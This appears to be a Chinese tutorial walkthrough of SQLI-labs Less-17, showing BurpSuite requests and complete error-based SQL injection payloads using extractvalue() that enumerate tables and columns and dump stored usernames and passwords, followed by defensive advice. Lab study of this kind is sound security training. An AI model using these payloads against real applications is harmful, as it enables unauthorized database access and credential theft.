当前位置: 首页 > news >正文

从登录框到数据库:手把手复现SQLI-labs第十七关的二次注入与报错注入(附BurpSuite实战截图)

从登录框到数据库:手把手复现SQLI-labs第十七关的二次注入与报错注入(附BurpSuite实战截图)

在Web安全领域,SQL注入始终是渗透测试工程师的必修课。而SQLI-labs作为经典的注入练习平台,其第十七关巧妙融合了二次注入与报错注入两种技术,是理解复杂注入场景的绝佳案例。本文将带您从BurpSuite抓包开始,逐步拆解这一关的完整攻击链,重点解析每个Payload背后的设计逻辑,而非简单罗列步骤。

1. 环境准备与注入点定位

1.1 初始请求分析

启动BurpSuite拦截功能,访问SQLI-labs第十七关页面。提交默认凭证admin:password后,观察Burp Proxy捕获的POST请求:

POST /Less-17/ HTTP/1.1 Host: localhost Content-Type: application/x-www-form-urlencoded uname=admin&passwd=password

关键发现:

  • 登录表单通过unamepasswd两个参数提交
  • 服务端返回的响应中没有直接显示SQL错误信息,这增加了注入点判断难度

1.2 突破过滤机制

通过分析源码可知,系统对uname参数进行了check_input()过滤,但passwd参数存在漏洞。尝试构造特殊字符测试:

uname=admin&passwd=1'

此时服务端返回错误提示:You have an error in your SQL syntax... near ''1''') at line 1

这揭示了三个重要信息:

  1. 密码参数存在SQL注入漏洞
  2. 闭合方式为单引号
  3. 注入点位于UPDATE语句中(通过错误信息中的''1''')可推断)

提示:在实际渗透中,错误信息的详细程度直接影响攻击效率。生产环境应关闭详细错误回显。

2. 报错注入技术深度解析

2.1 extractvalue函数原理

当常规联合查询不可用时,MySQL的extractvalue()函数成为报错注入的首选。其基本语法为:

extractvalue(XML_document, XPath_string)

精心构造错误的XPath表达式,可使函数返回包含敏感数据的错误信息。典型Payload结构:

and extractvalue(1, concat(0x7e, (SELECT database())))

关键设计点:

  • 0x7e(~符号)作为可视分隔符
  • 嵌套的子查询返回需要提取的数据
  • 整体作为XPath参数触发语法错误

2.2 实战数据库信息提取

通过Burp Repeater模块发送以下Payload获取数据库名:

uname=admin&passwd=1' and extractvalue(1,concat(0x7e,database()))#

典型响应示例:XPATH syntax error: '~security'

此时我们已确认:

  • 当前数据库名为security
  • 报错注入手法有效

3. 系统表信息提取实战

3.1 表结构枚举技术

利用information_schema数据库获取表名列表:

uname=admin&passwd=1' and extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 0,1)))#

通过修改limit参数值,依次获取全部表名:

limit参数获取的表名
0,1emails
1,1referers
2,1uagents
3,1users

3.2 字段提取与数据泄露

针对关键users表进行字段枚举:

uname=admin&passwd=1' and extractvalue(1,concat(0x7e,(select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1)))#

同样通过调整limit值获取完整字段列表:

# 字段枚举结果 1. id 2. username 3. password

最终提取用户凭证的完整Payload:

uname=admin&passwd=1' and extractvalue(1,concat(0x7e,(select concat(username,':',password) from security.users limit 0,1)))#

4. 高级技巧与防御方案

4.1 绕过长度限制的技巧

当报错信息被截断时,可采用分段提取法:

uname=admin&passwd=1' and extractvalue(1,concat(0x7e,mid((select group_concat(username,':',password) from users),1,30)))#

配合mid()函数和循环请求,可完整获取长数据。

4.2 安全防护建议

开发人员应当:

  1. 对所有用户输入实施参数化查询
  2. 配置数据库错误信息处理机制
  3. 实施最小权限原则
  4. 使用Web应用防火墙(WAF)过滤恶意请求

渗透测试人员需注意:

  • 测试前获取合法授权
  • 避免使用DROP等破坏性语句
  • 测试完成后清理测试数据
http://www.jsqmd.com/news/869661/

相关文章:

  • 从零打造 AI 小说创作平台(五):AI 创作流水线(上)——六阶段编排设计
  • 工业视觉实战:手把手教你用YOLOv8训练红外/热成像灰度图(附完整代码修改)
  • 从零到一:手把手教你用SpringBoot+MyBatis搭建企业级员工管理系统(附完整源码)
  • 别再手动写JSON了!用Node-RED OPC UA节点5分钟搞定楼宇温湿度数据采集
  • Keil C51函数指针调用中的递归警告解析与优化
  • Windows右键菜单终极优化指南:用ContextMenuManager实现专业级菜单管理
  • CentOS 7上搞定Dell iDRAC Service Module安装报错(附usbutils依赖解决)
  • Spring Boot项目实战:手把手教你集成银联B2B无卡支付(SM2国密证书版)
  • 别再死记硬背OSI七层模型了!用PacketTracer抓包,手把手带你“看见”HTTP和DNS协议
  • QMCDecode终极指南:如何在Mac上快速解密QQ音乐加密文件
  • 深度掌控AMD Ryzen处理器:SMUDebugTool硬件调试完全指南
  • 如何快速掌握SQLines:开源数据库迁移工具的完整指南
  • 3MF格式插件:如何让Blender成为3D打印数据流转的智能枢纽
  • 想解决考公岗位选择困难?黑龙江领先公考专业指导为你排忧解难 - mypinpai
  • 3步精通Windows右键菜单管理:ContextMenuManager深度指南
  • 量子电路优化:GSI指标原理与实践指南
  • 捡垃圾实战:让ESXi 7.0 U3识别老古董Mellanox ConnectX-2 10G网卡(附驱动修改全流程)
  • ESP32-WROOM-32E和PICO-D4选哪个?手把手教你根据引脚差异做硬件选型
  • 如何一键解锁QQ音乐加密格式?这款Mac专属工具让你轻松实现音乐自由
  • 如何在Mac上免费导出微信聊天记录:WeChatExporter完全指南
  • CST如何将导入的CAD模型由二维更正为三维
  • 5分钟掌握OBS多平台同步直播:obs-multi-rtmp插件终极配置指南
  • Blender3mfFormat插件:3D打印工作流的完美桥梁
  • 别再乱调了!用Audition参数均衡器拯救你的干音(附实战预设)
  • UVa 273 Jack Straws
  • 从九点标定到AX=XB:给机器人视觉新手的两种手眼标定方案选择指南(含OpenCV/C++示例)
  • 别再说单卡跑不动大模型了:手把手教你用Hugging Face的Gradient Accumulation和Checkpointing榨干GPU显存
  • Mamba-2架构与LaCT并行计算技术解析
  • 从零到一:基于Linux平台与华中8型数控系统,构建车间级数据采集监控看板
  • 告别Arduino IDE!用Thonny给ESP8266刷MicroPython固件的保姆级图文教程